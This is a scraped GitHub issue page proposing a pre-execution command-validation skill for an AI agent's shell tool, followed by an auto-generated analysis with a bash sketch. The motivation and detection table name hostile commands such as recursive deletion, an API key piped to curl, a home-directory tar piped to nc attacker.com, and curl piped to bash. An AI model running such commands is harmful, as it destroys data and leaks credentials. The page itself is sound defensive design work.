openclaw - 💡(How to fix) Fix Feature: bundle exec-security skill for pre-execution command validation [2 comments, 2 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
openclaw/openclaw#58982Fetched 2026-04-08 02:30:23
View on GitHub
Comments
2
Participants
2
Timeline
2
Reactions
0
Author
Participants
Timeline (top)
commented ×2
RAW_BUFFERClick to expand / collapse

Motivation

AI agents executing shell commands on behalf of users face inherent safety risks. A single malicious or poorly-constructed command can:

  • Recursively delete critical files (rm -rf /, rm -rf ~)
  • Leak credentials (echo $API_KEY | curl ...)
  • Exfiltrate data (tar cf - ~ | nc attacker.com 9999)
  • Execute untrusted remote code (curl ... | bash)
  • Modify system files (> /etc/passwd)
  • Exhaust resources (fork bombs, infinite loops)
  • Use Unicode obfuscation to disguise dangerous operations

Currently, OpenClaw provides an approval flow for exec commands, but the approval is binary (allow/deny) without guidance on what to look for. Users may approve dangerous commands they don't fully understand, and agents may generate dangerous commands without recognizing the risk.

The exec-security skill (published on ClawHub as [email protected]) provides a pattern-matching pre-check that catches common dangerous patterns before execution. This capability should be available to all OpenClaw users out of the box.

Proposed Solution

Option A: Bundle as a default skill

Include exec-security in the default skill set that ships with OpenClaw (or is auto-installed on first run). The skill's SKILL.md provides guidance that the agent reads before executing commands, adding a self-check layer.

Pros:

  • Zero integration effort — works with the existing skill system
  • Users can customize or disable it
  • Skill updates can be pulled from ClawHub independently

Cons:

  • Relies on the agent choosing to follow the skill guidance (not enforced)
  • Adds to system prompt size

Option B: Integrate into the exec tool's approval flow

Build the security checks directly into the exec tool implementation:

  • Before presenting a command for approval, run it through pattern-matching checks.
  • Flag detected risks in the approval prompt (e.g., ⚠️ This command contains recursive deletion).
  • Auto-deny commands matching critical patterns (configurable).
  • Add a security parameter to exec: "deny" | "allowlist" | "full".

Pros:

  • Enforced at the tool level — can't be bypassed by agent behavior
  • Richer UX (risk annotations in approval prompts)
  • Configurable strictness

Cons:

  • More implementation effort
  • Risk of false positives blocking legitimate commands
  • Needs careful tuning of pattern matching

Recommended: Both

Bundle the skill as a default (Option A) for immediate coverage, and progressively integrate the checks into the exec tool (Option B) for enforcement.

Detection Categories

The exec-security skill currently covers:

CategoryExamples
Recursive deletionrm -rf /, rm -rf ~/*, wildcard + force combos
Credential leaksecho $API_KEY, env | grep, printenv piped to external
Data exfiltrationcurl -d @file, nc, scp to unknown hosts
Download-and-executecurl | bash, wget -O- | sh
Command injectionUnquoted variables, backtick expansion in untrusted input
Unicode obfuscationZero-width spaces, RTL overrides, homoglyph substitution
Resource exhaustionFork bombs, yes |, infinite while true without bounds
System file tamperingWrites to /etc/, ~/.ssh/authorized_keys, crontab modification

Alternatives Considered

AlternativeWhy not
Rely solely on OS-level sandboxing (containers, seccomp)Defense in depth — catching dangerous commands before execution is better than only containing the blast radius
Use a separate security scanning service/APIAdds latency and external dependency for every command; overkill for pattern matching
Trust the agent to self-check without guidanceInconsistent; agents don't reliably catch all patterns without explicit checklists
Only allow allowlisted commandsToo restrictive for general-purpose agent use; kills flexibility

References

  • ClawHub listing: [email protected]
  • Related: OpenClaw exec tool's existing security parameter (deny | allowlist | full)

extent analysis

TL;DR

Implementing the exec-security skill as a default skill in OpenClaw and integrating its pattern-matching checks into the exec tool's approval flow can significantly enhance the safety of executing shell commands.

Guidance

  • Bundle the exec-security skill: Include it in the default skill set to provide immediate coverage and guidance for agents executing commands.
  • Integrate security checks into the exec tool: Modify the exec tool to run commands through pattern-matching checks before presenting them for approval, flagging detected risks and potentially auto-denying critical patterns.
  • Configure the security parameter: Utilize the security parameter ("deny" | "allowlist" | "full") in the exec tool to control the strictness of security checks based on the environment's requirements.
  • Monitor and refine pattern matching: Regularly review and update the pattern-matching rules to minimize false positives and ensure the checks remain effective against emerging threats.

Example

# Example of how the exec tool could be modified to include security checks
exec_command() {
  local command="$1"
  local security_level="${2:-full}"
  
  # Run command through pattern-matching checks
  local risk_level=$(check_command_risk "$command")
  
  # Flag detected risks in the approval prompt
  if [ "$risk_level" = "high" ]; then
    echo "⚠️ This command contains recursive deletion"
  fi
  
  # Auto-deny commands matching critical patterns based on security level
  case "$security_level" in
    deny)
      if [ "$risk_level" = "high" ]; then
        echo "Command denied due to high risk"
        return 1
      fi
      ;;
  esac
  
  # Proceed with command execution
  eval "$command"
}

Notes

The implementation details may vary based on the specific requirements and constraints of the OpenClaw system and the exec-security skill. It's crucial to balance security with usability and flexibility to ensure the solution is effective and adoptable.

Recommendation

Apply both bundling the exec-security skill as a default and integrating its checks into the exec tool, as this approach offers both immediate coverage and long-term enforcement, providing a robust defense against dangerous shell commands.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING